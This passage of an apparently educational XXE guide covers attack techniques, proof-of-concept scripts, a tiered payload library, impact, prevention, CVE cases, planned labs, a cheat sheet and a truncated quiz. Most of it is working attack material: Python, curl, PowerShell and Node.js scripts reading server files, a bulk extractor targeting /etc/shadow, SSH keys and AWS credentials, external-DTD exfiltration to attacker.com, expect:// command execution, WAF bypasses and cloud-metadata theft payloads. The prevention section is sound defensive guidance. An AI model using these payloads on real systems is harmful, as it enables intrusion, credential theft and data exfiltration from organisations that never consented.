Office documents are ZIPs of XML. Edit `word/document.xml` (or equivalent), prepend a DOCTYPE with `<!ENTITY xxe SYSTEM "...">`, place `&xxe;` in a `<w:t>` text run, re-zip. Tools: `oxml_xxe`, `docem`.

13. SOAP XXE

SOAP is XML by design. The envelope already contains a `Body`. Inject the DOCTYPE before the envelope:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <stockCheck>
      <productId>&xxe;</productId>
    </stockCheck>
  </soapenv:Body>
</soapenv:Envelope>

14. JSON-to-XML content-type swap

The same controller often accepts both JSON and XML. Swap `Content-Type: application/json` to `application/xml` and re-encode the body as XML:

http
POST /api/profile HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<profile>
  <displayName>&xxe;</displayName>
</profile>

15. PHP expect:// wrapper for command execution

On PHP installs with the `expect` extension enabled (rare but happens):

xml
<!ENTITY xxe SYSTEM "expect://id">

The parser executes the `id` command. The output appears in the response.

16. Java jar:// scheme (legacy)

Older Java versions allowed `jar:http://attacker/file.jar!/`, which downloads a JAR and reads a member, enabling delayed or staged extraction.

17. UTF-7 / encoding bypasses

Some parsers reject `<!DOCTYPE` keywords via naive filters. Try alternative XML declarations:

xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo +AFs APE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACIAPg- +AF0APg-

A UTF-7 encoded DOCTYPE may pass naive ASCII filters but still be processed by the parser if encoding is honored.

18. Encoded file:// schemes

xml
<!ENTITY xxe SYSTEM "file&#58;&#47;&#47;/etc/passwd">
<!ENTITY xxe SYSTEM "FILE:///etc/passwd">

19. Recursive entity (Billion Laughs DoS)

xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  ...
]>
<lolz>&lol9;</lolz>

Causes memory exhaustion. CWE-776. Often shipped alongside XXE in advisories.

20. Quadratic blowup (Billion Laughs variant)

A single long entity referenced thousands of times. Smaller footprint, same DoS impact.

21. Read /proc on Linux

xml
<!ENTITY xxe SYSTEM "file:///proc/self/environ">
<!ENTITY xxe SYSTEM "file:///proc/version">
<!ENTITY xxe SYSTEM "file:///proc/self/cmdline">
<!ENTITY xxe SYSTEM "file:///proc/self/cwd/config.yml">

`/proc/self/environ` often contains environment variables including secrets, DB URLs, API tokens.

22. Read web app config and secrets

xml
<!ENTITY xxe SYSTEM "file:///var/www/html/.env">
<!ENTITY xxe SYSTEM "file:///var/www/html/wp-config.php">
<!ENTITY xxe SYSTEM "file:///etc/nginx/nginx.conf">
<!ENTITY xxe SYSTEM "file:///etc/apache2/sites-enabled/000-default.conf">
<!ENTITY xxe SYSTEM "file:///root/.ssh/id_rsa">
<!ENTITY xxe SYSTEM "file:///home/ubuntu/.aws/credentials">

23. Read Java application files

xml
<!ENTITY xxe SYSTEM "file:///opt/tomcat/conf/server.xml">
<!ENTITY xxe SYSTEM "file:///opt/tomcat/webapps/ROOT/WEB-INF/web.xml">
<!ENTITY xxe SYSTEM "file:///opt/tomcat/conf/tomcat-users.xml">

24. Read .NET application files

xml
<!ENTITY xxe SYSTEM "file:///C:/inetpub/wwwroot/web.config">
<!ENTITY xxe SYSTEM "file:///C:/Windows/Microsoft.NET/Framework/v4.0.30319/Config/machine.config">

25. Read cloud function source

xml
<!ENTITY xxe SYSTEM "file:///var/task/index.js">         <!-- AWS Lambda -->
<!ENTITY xxe SYSTEM "file:///workspace/main.py">          <!-- GCP Cloud Function -->

26. WAF bypass: split keyword across lines

xml
<!DOC
TYPE foo [
<!EN
TITY xxe SYSTEM "file:///etc/passwd">
]>

Some WAFs match on `<!DOCTYPE` literal but accept whitespace. Try newlines, tabs.

27. WAF bypass: parameter entity indirection

Put the DOCTYPE keyword inside a CDATA or use parameter entities only, then build the entity dynamically.

28. Chain XXE to RCE via Apache Tika (CVE-2025-66516)

The Tika XXE chain ships in the PDF parser path. Crafting a PDF with embedded XML metadata triggers Tika's vulnerable XML processor. With CVSS 10.0, this is the worst-case modern XXE pivot.

29. Chain XXE to RCE via Apache Struts (CVE-2025-68493)

S2-069 affects XWork-Core. Submit XML configuration material that the framework parses; external entity expansion leads to file read, SSRF, and full RCE depending on context.

30. Combine with insecure deserialization

Some applications XML-deserialize objects (Java XMLDecoder, .NET XmlSerializer). XML deserialization that allows arbitrary class instantiation is RCE by design. XXE can be a vector to seed the deserialization payload.

SECTION 12. Proof of Concept

Burp Suite step by step

  • 1. Find an XML-accepting endpoint via Proxy.
  • 2. Send to Repeater.
  • 3. Paste the in-band probe.
  • 4. Replace `&xxe;` location with each input field.
  • 5. Save the resulting file dumps.
  • 6. For blind, switch to a Collaborator payload, hit "Send", and watch Collaborator hits.

Python PoC: classic in-band file read

python
import requests

url = "http://target.anastech.com/contact"
payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <name>anas</name>
  <tel>0612345678</tel>
  <email>&xxe;</email>
  <password>passwordtest</password>
</root>"""

r = requests.post(url, data=payload, headers={"Content-Type": "application/xml"}, timeout=10)
print(r.status_code)
print(r.text)

Python PoC: bulk file extraction with php://filter

python
import requests, base64

url = "http://target.anastech.com/process.php"
files = [
    "/etc/passwd", "/etc/shadow", "/etc/hostname",
    "/var/www/html/config.php", "/var/www/html/.env",
    "/home/ubuntu/.aws/credentials", "/root/.ssh/id_rsa",
    "/var/www/html/wp-config.php", "/etc/nginx/nginx.conf",
    "/proc/self/environ",
]
for f in files:
    body = f"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource={f}">
]>
<root>
  <name>anas</name>
  <email>&xxe;</email>
</root>"""
    r = requests.post(url, data=body, headers={"Content-Type": "application/xml"}, timeout=10)
    if r.status_code == 200 and len(r.text) > 50:
        # try base64 decode whatever made it back
        try:
            print(f"[+] {f}")
            print(base64.b64decode(r.text.split('<')[0]).decode(errors='replace')[:500])
        except Exception:
            print(f"[?] {f}: {r.text[:200]}")

Bash PoC

bash
curl -sS -X POST https://target.anastech.com/contact \
  -H 'Content-Type: application/xml' \
  --data '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><root><email>&x;</email></root>'

PowerShell PoC

powershell
$body = @'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///C:/Windows/win.ini">]>
<root><email>&x;</email></root>
'@
Invoke-RestMethod -Uri "https://target.anastech.com/contact" -Method POST -Body $body -ContentType "application/xml"

Node.js PoC

javascript
const fetch = require('node-fetch');

const body = `<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "http://your.oastify.com/probe">]>
<root><email>&x;</email></root>`;

fetch('https://target.anastech.com/contact', {
  method: 'POST',
  headers: { 'Content-Type': 'application/xml' },
  body
}).then(r => r.text()).then(console.log);

Blind OOB PoC: external DTD on attacker server

Hosted `external.dtd` on attacker.com:

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY send SYSTEM 'http://attacker.com/?d=%file;'>">
%wrap;
%send;

Request body sent to victim:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % extDTD SYSTEM "http://attacker.com/external.dtd">
  %extDTD;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>2</storeId>
</stockCheck>

Attacker reads inbound log on attacker.com, URL-decodes the `d=` parameter.

XXEinjector PoC (automated OOB)

bash
ruby XXEinjector.rb --host=attacker.com --httpport=80 \
  --file=request.txt --path=/etc/passwd --oob=http

`request.txt` is a saved Burp request with `XXEINJECT` placeholder. XXEinjector handles the OOB callbacks and reconstructs the file.

SECTION 13. Payloads

Organized by tier. Use the lightest probe first; escalate only as needed.

Tier 1: detection probes

xml
<!DOCTYPE foo [ <!ENTITY t "anas-probe"> ]>
<root><x>&t;</x></root>

Tier 2: in-band file read (Linux)

xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root><x>&xxe;</x></root>

<!ENTITY xxe SYSTEM "file:///etc/hostname">
<!ENTITY xxe SYSTEM "file:///etc/issue">
<!ENTITY xxe SYSTEM "file:///proc/self/environ">
<!ENTITY xxe SYSTEM "file:///proc/version">

Tier 3: in-band file read (Windows)

xml
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY xxe SYSTEM "file:///C:/inetpub/wwwroot/web.config">
<!ENTITY xxe SYSTEM "file:///C:/boot.ini">

Tier 4: PHP base64 file read

xml
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=.env">

Tier 5: blind XXE OOB

xml
<!ENTITY xxe SYSTEM "http://YOUR.oastify.com/">
<!ENTITY xxe SYSTEM "ftp://YOUR.oastify.com/">

Tier 6: external DTD chain (full exfiltration)

In request body:

xml
<!DOCTYPE foo [
  <!ENTITY % ext SYSTEM "http://YOUR.host/x.dtd">
  %ext;
]>

On attacker server `x.dtd`:

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY send SYSTEM 'http://YOUR.host/?d=%file;'>">
%wrap;
%send;

Tier 7: error-based extraction

xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % err "<!ENTITY % e2 SYSTEM 'file:///nonexistent/%file;'>">
%err;
%e2;

Tier 8: SSRF + cloud metadata

xml
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/">
<!ENTITY xxe SYSTEM "http://169.254.169.254/metadata/v1/">                  <!-- DigitalOcean -->
<!ENTITY xxe SYSTEM "http://100.100.100.200/latest/meta-data/">             <!-- Alibaba Cloud -->

Tier 9: XInclude (no DOCTYPE required)

xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

Tier 10: SVG file payload

xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/hostname"> ]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="50">
  <text x="0" y="20">&xxe;</text>
</svg>

Tier 11: SOAP envelope payload

xml
<?xml version="1.0"?>
<!DOCTYPE soapenv:Envelope [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body><stockCheck><productId>&xxe;</productId></stockCheck></soapenv:Body>
</soapenv:Envelope>

Tier 12: PHP expect:// (RCE if expect module enabled)

xml
<!ENTITY xxe SYSTEM "expect://id">
<!ENTITY xxe SYSTEM "expect://whoami">
<!ENTITY xxe SYSTEM "expect://cat /etc/passwd">

Tier 13: WAF bypass variants

xml
<!-- whitespace tricks -->
<!DOCTYPE
foo
[
<!ENTITY
xxe
SYSTEM
"file:///etc/passwd"
>
]>

<!-- UTF-7 -->
<?xml version="1.0" encoding="UTF-7"?>

<!-- HTML entity encoding inside SYSTEM URI -->
<!ENTITY xxe SYSTEM "file&#x3A;&#x2F;&#x2F;/etc/passwd">

<!-- alternate file:// casing -->
<!ENTITY xxe SYSTEM "FILE:///etc/passwd">

Tier 14: DoS (Billion Laughs, use only with explicit permission)

xml
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>

SECTION 14. Wordlists and Payload Libraries

Practical advice

  • Keep a 30-line personal list of go-to files (`/etc/passwd`, `/proc/self/environ`, `.env`, `id_rsa`, `wp-config.php`, `web.config`, `application.properties`, `.aws/credentials`).
  • Carry a tested external DTD ready to host on a public URL.
  • Verify your Collaborator domain works from the target's egress.

SECTION 15. Impact

XXE rarely stops at "I read /etc/passwd". The impact ladder below moves from least to most severe.

Step 1: information disclosure

Read `/etc/passwd`, `/etc/hostname`, `/etc/issue`, `/proc/version`. Confirms the bug; sets the stage.

Step 2: secret extraction

Read `.env`, `wp-config.php`, `application.properties`, `web.config`, `appsettings.json`, `.aws/credentials`, `id_rsa`. Database passwords, API tokens, SSH keys leak in seconds.

Step 3: source code disclosure

Use `php://filter/convert.base64-encode/resource=` to pull PHP, Python, JS source. Find further vulnerabilities to chain (SQLi, RCE).

Step 4: SSRF

Pivot to internal IPs, internal admin panels, message queues, cache layers. Internal services often lack auth.

Step 5: cloud metadata theft

On AWS, GCP, Azure, DigitalOcean, the metadata service returns IAM credentials. Stolen credentials let the attacker call the cloud API directly. Full account compromise within minutes on misconfigured IAM.

Step 6: port scanning

The parser becomes a port scanner inside the VPC. Reachability mapping for further attack.

Step 7: authentication bypass via stolen credentials

Use leaked DB credentials, API tokens, OAuth secrets to authenticate to other systems.

Step 8: data exfiltration

After SSRF or stolen credentials, dump customer data, payment records, internal documents.

Step 9: DoS via billion laughs / quadratic blowup

Crash the parser, exhaust memory, exhaust file descriptors. CWE-776.

Step 10: RCE via PHP expect://, Java jar://, or Apache Tika chain

On older or misconfigured stacks, XXE becomes direct RCE. CVE-2025-66516 (Tika, CVSS 10.0) is the canonical modern example.

Step 11: lateral movement

Use stolen IAM roles or SSH keys to move into other accounts, other VPCs, other services.

Step 12: persistence

Plant backdoors, write SSH keys, register cron jobs, modify CI/CD pipelines through follow-on access.

Step 13: regulatory and contractual fallout

GDPR, HIPAA, PCI DSS, SOX violations on any of the data-exposure paths.

Step 14: reputational damage

Public CVEs (CVE-2025-68493, CVE-2025-66516) trigger customer outflow and contract renegotiation.

Step 15: long-tail cost

Forensic investigations, audits, insurance premium spikes, mandatory remediation cycles.

SECTION 16. Prevention

XXE has a one-line fix per parser: disable DTD processing or external entity resolution. Below are the exact APIs and the developer checklist.

The two rules that cover almost everything

  • 1. Disable DTD processing in every XML parser instance.
  • 2. Reject any incoming XML that contains a `DOCTYPE` declaration at the input boundary.

If both hold, classical XXE cannot happen.

Vulnerable vs safe (Python lxml)

Vulnerable:

python
from lxml import etree
tree = etree.fromstring(xml_bytes)        # default parser permits entities

Safe:

python
from lxml import etree
parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    load_dtd=False
)
tree = etree.fromstring(xml_bytes, parser=parser)

Vulnerable vs safe (Python xml.etree)

Use `defusedxml` always:

python
import defusedxml.ElementTree as ET   # safe-by-construction
tree = ET.fromstring(xml_bytes)

Vulnerable vs safe (PHP libxml)

Vulnerable: `LIBXML_NOENT | LIBXML_DTDLOAD` flags or pre-PHP 8.0 defaults.

Safe (PHP 8.0+):

php
$dom = new DOMDocument();
// PHP 8.0+ disables network access by default; do not enable LIBXML_NOENT or DTDLOAD
$dom->loadXML($xmlString);

For older PHP, also call:

php
libxml_disable_entity_loader(true);

(Note: this function is deprecated/removed in PHP 8.0+; safe defaults make it unnecessary.)

Vulnerable vs safe (Node.js libxmljs)

javascript
const libxmljs = require('libxmljs');

// Safe: never enable noent or dtdload
const doc = libxmljs.parseXml(xmlString, {
  noent: false,
  dtdload: false,
  nonet: true
});

For `fast-xml-parser`, which does not process DTDs by default, prefer it over libxml-based libs when feasible.

Vulnerable vs safe (Java DocumentBuilderFactory)

java
import javax.xml.parsers.*;
import javax.xml.XMLConstants;

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();

Vulnerable vs safe (.NET XmlDocument / XmlReader)

csharp
var doc = new XmlDocument();
doc.XmlResolver = null;                        // disable external resolution
// or use XmlReaderSettings
var settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
using var reader = XmlReader.Create(stream, settings);

Vulnerable vs safe (Ruby Nokogiri)

ruby
require 'nokogiri'
doc = Nokogiri::XML(xml_string) do |config|
  config.strict.nononet.noent(false)
end

Never call `config.noent`. By default Nokogiri does not expand external entities; keep that default.

Vulnerable vs safe (Go encoding/xml)

`encoding/xml` does not resolve external entities. Avoid third-party libraries that re-introduce the risk. If a third-party lib must be used, audit its entity behavior.

Rule 3: reject DOCTYPE at the gateway

Add input validation that rejects any XML body containing `<!DOCTYPE`. This is a belt-and-suspenders defense and breaks legitimate document types only when DTDs are not part of the API contract.

Rule 4: prefer JSON

If you do not need XML, do not accept it. Configure the framework to refuse `Content-Type: application/xml` on endpoints that should be JSON-only. Spring, Express, ASP.NET, and Django all let you whitelist the consumed content types.

Rule 5: disable XInclude

Even if entities are disabled, XInclude can read files. Disable it explicitly: `dbf.setXIncludeAware(false)` in Java, equivalent flags in other languages.

Rule 6: least-privilege the parser process

Run the parser process with the minimum filesystem and network privileges it needs. Drop access to `/etc/shadow`, `id_rsa`, cloud metadata IPs at the network egress level.

Rule 7: block link-local metadata at egress

On cloud workloads, configure the host firewall to deny outbound HTTP to `169.254.169.254` from the application user (where the app does not need IMDS). On AWS, require IMDSv2 (session-token) cluster-wide; IMDSv1 should be disabled.

Rule 8: log and alert on XML parse errors

Verbose `XML parse error` logs containing `file://` or `http://` URIs are an active-attack signal. Wire them into the SIEM.

Developer checklist

  • Every XML parser instance has DTD/entity processing disabled.
  • Input layer rejects `<!DOCTYPE` for endpoints that do not require DTDs.
  • Content-Type negotiation does not accept `application/xml` where JSON suffices.
  • XInclude is explicitly disabled.
  • Office-doc and SVG ingestion uses the hardened parser settings.
  • Application user has no read access to `id_rsa`, cloud credentials, secrets directories.
  • Outbound network to `169.254.169.254` is blocked or IMDSv2 is enforced.
  • XML parse errors are monitored and alert on `SYSTEM` keyword occurrences.

Enterprise mitigations

  • WAF rules that block `<!DOCTYPE` and `SYSTEM` in XML bodies on endpoints that do not need DTDs.
  • SAST rules that flag default `DocumentBuilderFactory`, `XmlDocument`, `lxml.etree.fromstring` without hardened settings.
  • DAST coverage including XXE in regular pentest cycles.
  • Centralized XML parsing helper used across all microservices, configured once with safe defaults.

SECTION 17. Real-World Cases

CVE library (with URLs)

  • CVE-2025-68493 (Apache Struts S2-069 XXE), CVSS 9.8

NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-68493 Apache advisory: https://cwiki.apache.org/confluence/display/WW/S2-069 Summary: XWork XML configuration parsing allows external entity injection. Fixed in Struts 6.1.1.

  • CVE-2025-66516 (Apache Tika PDF XXE), CVSS 10.0

NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-66516 Replaces CVE-2025-54988. Fix lives in tika-core, not just the PDF module. Summary: malicious PDFs trigger XXE through Tika's XML processor.

  • CVE-2025-54988 (Apache Tika PDF XXE, superseded), 2025

NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-54988 Note: Tika team replaced with CVE-2025-66516 after deeper root-cause analysis.

  • GeoServer WMS GetMap XXE (GHSA-fjf5-xgmq-5525), November 2025

Advisory: https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525 Summary: unauthenticated XXE via the GetMap operation. File read, SSRF, DoS.

  • Cisco ISE XXE (cisco-sa-ise-xxe-jWSbSDKt)

Advisory: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-xxe-jWSbSDKt Summary: improper XML parsing in the web management interface; authenticated admin reads arbitrary files via crafted upload.

  • Microsoft SQL Server 2025 Web Service Task XXE

Bug refs: 5131006, 5178546, 5131003 Vendor portal: https://learn.microsoft.com/en-us/sql/relational-databases/security/ Summary: Web Service Task allows arbitrary file read via XXE; fixed via blocking `file://` in WSDL endpoints.

  • CVE-2019-12781 (Django XXE), 2019

NVD: https://nvd.nist.gov/vuln/detail/CVE-2019-12781 Historical reference for the broader class.

  • CVE-2018-1000840 (Multiple Apache projects XXE)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2018-1000840 Reference for legacy stacks.

  • CVE-2018-12533 (Mozilla XML parsing XXE)

NVD: https://nvd.nist.gov/vuln/detail/CVE-2018-12533

Historical: Equifax (2017)

Apache Struts CVE-2017-5638 ultimately led to the Equifax 143M-record breach. While the headline issue was OGNL injection, surrounding Struts XML processing also surfaced XXE patterns during the audit. The Struts family remains the most-exploited single XXE source in the last decade.

Real HackerOne reports (disclosed)

  • Rockstar Games -- XXE via custom emblem XML upload

Report: https://hackerone.com/reports/347139 Lesson: any feature that accepts XML (custom emblems, avatars, configs) can be the entry point.

  • Semrush -- XXE in Site Audit sitemap.xml parsing

Report: https://hackerone.com/reports/312543 Lesson: sitemap parsers fetch and parse remote XML. Hosted attacker sitemaps trivially exploit them.

  • Twitter (X / xAI) -- XXE on sms-be-vip.twitter.com (cloudhopper sxmp servlet)

Report: https://hackerone.com/reports/248668 Lesson: legacy SMS gateways and SOAP-style servlets routinely accept XML without modern hardening.

  • U.S. Dept of Defense -- XXE on DoD website

Report: https://hackerone.com/reports/227880 Plus a 2024 disclosure: https://hackerone.com/reports/2573567 Lesson: government VDP programs continue to accept and triage XXE reports in 2024-2026.

  • Starbucks -- XXE on ecjobs.starbucks.com.cn

Report: https://hackerone.com/reports/500515 Lesson: regional/subdomain assets often lag main-domain hardening.

  • Mail.ru -- XXE on pulse.mail.ru via RSS/Atom feed parsing

Report: https://hackerone.com/reports/505947 Lesson: RSS readers are XXE candidates by design.

Curated corpora

Lessons learned

  • Modern XXE still happens. CVE-2025-66516 (CVSS 10.0) and CVE-2025-68493 (CVSS 9.8) are 2025 vulnerabilities in widely deployed software.
  • The fix is well-known but inconsistently applied. Defaults vary by language and library version.
  • Office documents and SVGs are XML; file upload features are implicit XXE surfaces.
  • The metadata-service pivot makes XXE devastating on cloud workloads.
  • Bug bounty payouts for XXE in 2024-2026 routinely reach four to five figures on enterprise targets.

SECTION 18. References

Standards and authoritative docs

Learning resources

Cloud metadata documentation

Tools

CVE/advisory feeds

SECTION 19. Practical Labs

Planned ANAS XXE Labs (SOON)

  • ANAS-XXE-01 -- AnasTech Contact Form (Classic In-Band File Read), beginner
  • ANAS-XXE-02 -- AnasMarket Stock Check (PortSwigger-style), beginner
  • ANAS-XXE-03 -- AnasOne PHP Filter (base64 source code disclosure), beginner-intermediate
  • ANAS-XXE-04 -- AnasDocs DOCX Upload (Office doc XXE), intermediate
  • ANAS-XXE-05 -- AnasSocial SVG Avatar (image upload XXE), intermediate
  • ANAS-XXE-06 -- AnasTravel Sitemap Submission (hosted-DTD chain), intermediate
  • ANAS-XXE-07 -- AnasOne JSON-to-XML Swap (content-type confusion), intermediate
  • ANAS-XXE-08 -- AnasCorp SOAP Endpoint (legacy enterprise XXE), intermediate-advanced
  • ANAS-XXE-09 -- AnasBank Blind OOB (Collaborator extraction), advanced
  • ANAS-XXE-10 -- AnasBank Error-Based Extraction (when no callback works), advanced
  • ANAS-XXE-11 -- AnasMarket SSRF Pivot to 169.254.169.254 (cloud metadata theft), advanced
  • ANAS-XXE-12 -- AnasDocs XInclude (without DOCTYPE), advanced
  • ANAS-XXE-13 -- AnasCorp Apache Tika PDF Chain (CVE-2025-66516 style), expert
  • ANAS-XXE-14 -- AnasCorp Struts S2-069 Reproduction (CVE-2025-68493 style), expert
  • ANAS-XXE-15 -- AnasOne End-to-End (XXE -> SSRF -> IMDS -> AWS API), expert

PortSwigger Web Security Academy XXE labs

Self-hosted lab targets

Lab progression suggestion

  • Week 1: PortSwigger Apprentice labs + ANAS-XXE-01/02 + sections 1-8 here.
  • Week 2: PortSwigger Practitioner OOB labs + ANAS-XXE-09/10 + write your own external.dtd.
  • Week 3: PortSwigger Expert lab + ANAS-XXE-11/12 + cloud metadata reproduction in a sandbox.
  • Week 4: Read every CVE in section 17 and reproduce the relevant ones locally.
  • Week 5: Triage public targets in bounty programs that accept XXE reports.

SECTION 20. Cheat Sheet

text
+--------------------------------------------------------------------------+
|                  ANAS EDUCATION -- XXE CHEATSHEET                        |
+--------------------------------------------------------------------------+
|                                                                          |
|  DETECTION PROBES                                                        |
|    <!DOCTYPE foo [<!ENTITY t "probe">]><r><x>&t;</x></r>                  |
|    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>            |
|    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://OAST/">]>                  |
|                                                                          |
|  LINUX FILE READS                                                        |
|    file:///etc/passwd      file:///etc/hostname                          |
|    file:///etc/issue       file:///proc/version                          |
|    file:///proc/self/environ                                             |
|                                                                          |
|  WINDOWS FILE READS                                                      |
|    file:///C:/Windows/win.ini                                            |
|    file:///C:/inetpub/wwwroot/web.config                                 |
|    file:///C:/boot.ini                                                   |
|                                                                          |
|  PHP STREAM WRAPPER (binary-safe via base64)                             |
|    php://filter/convert.base64-encode/resource=/var/www/html/config.php  |
|    php://filter/convert.base64-encode/resource=.env                      |
|                                                                          |
|  BLIND OOB CHAIN                                                         |
|    Body: <!DOCTYPE foo [<!ENTITY % e SYSTEM "http://atk/x.dtd"> %e;]>    |
|    DTD:  <!ENTITY % file SYSTEM "file:///etc/passwd">                    |
|          <!ENTITY % w "<!ENTITY s SYSTEM 'http://atk/?d=%file;'>">       |
|          %w; %s;                                                         |
|                                                                          |
|  ERROR-BASED EXTRACTION                                                  |
|    <!ENTITY % file SYSTEM "file:///etc/passwd">                          |
|    <!ENTITY % err "<!ENTITY % e2 SYSTEM 'file:///nope/%file;'>">         |
|    %err; %e2;                                                            |
|                                                                          |
|  SSRF + CLOUD METADATA (AWS/GCP/Azure/DO/Alibaba)                        |
|    http://169.254.169.254/latest/meta-data/                              |
|    http://169.254.169.254/latest/meta-data/iam/security-credentials/     |
|    http://metadata.google.internal/computeMetadata/v1/                   |
|    http://169.254.169.254/metadata/v1/                                   |
|                                                                          |
|  ALTERNATIVE VECTORS                                                     |
|    XInclude (no DOCTYPE):                                                |
|      <foo xmlns:xi="http://www.w3.org/2001/XInclude">                    |
|        <xi:include parse="text" href="file:///etc/passwd"/>              |
|      </foo>                                                              |
|    SVG: <!DOCTYPE svg [...]><svg><text>&xxe;</text></svg>                |
|    DOCX/XLSX/PPTX: edit word/document.xml inside the ZIP                 |
|                                                                          |
|  RCE PIVOTS                                                              |
|    expect://id              (PHP expect module)                          |
|    Apache Tika PDF -> CVE-2025-66516 (CVSS 10.0)                         |
|    Apache Struts XML -> CVE-2025-68493 (CVSS 9.8)                        |
|                                                                          |
|  WAF BYPASS                                                              |
|    whitespace inside <!DOCTYPE, UTF-7, html-encoded file://, FILE://     |
|                                                                          |
|  TOOLS                                                                   |
|    XXEinjector, oxml_xxe, docem, Burp Collaborator, interactsh,          |
|    Nuclei XXE templates                                                  |
|                                                                          |
|  KEY CWE: CWE-611 (XXE), CWE-776 (Billion Laughs), CWE-918 (SSRF)        |
|  OWASP: A05:2021 Security Misconfiguration (XXE merged from A04:2017)    |
|                                                                          |
+--------------------------------------------------------------------------+
|                          Go hunt. -- ANAS EDUCATION                      |
+--------------------------------------------------------------------------+

SECTION 21. Exam

Thirty multiple-choice questions. Answer key at the end.

  • 1. What does XXE stand for?

A) XML eXtensible Engine B) XML External Entity C) eXtra XML Encoding D) XML eXploit Endpoint

  • 2. The CWE for XXE is:

A) CWE-79 B) CWE-89 C) CWE-611 D) CWE-352

  • 3. The dangerous keyword in an entity declaration is:

A) ENTITY B) SYSTEM C) DOCTYPE D) PUBLIC

  • 4. The IP `169.254.169.254` is:

A) A public Google IP B) A reserved link-local address used by AWS/GCP/Azure for the instance metadata service C) The default for Cloudflare D) An anycast DNS server

  • 5. Which payload exfiltrates a PHP source file as base64?

A) `<!ENTITY xxe SYSTEM "file:///etc/passwd">` B) `<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=config.php">` C) `<!ENTITY xxe SYSTEM "expect://id">` D) `<!ENTITY xxe SYSTEM "data://text/plain,xxe">`

  • 6. The Apache Tika PDF XXE in 2025 was assigned which CVE (final)?

A) CVE-2025-54988 B) CVE-2025-68493 C) CVE-2025-66516 D) CVE-2025-40370

  • 7. The Apache Struts S2-069 XXE has CVE:

A) CVE-2025-66516 B) CVE-2025-68493 C) CVE-2024-42005 D) CVE-2023-22515

  • 8. Blind XXE typically requires:

A) Reflected responses B) Out-of-band callbacks to attacker-controlled infrastructure C) SQLi D) Shell access

  • 9. To exfiltrate file contents using parameter entities you must:

A) Use only an inline DTD B) Use an external DTD because local DTDs forbid parameter-entity reference inside another entity C) Use Base64 only D) Use Unicode encoding

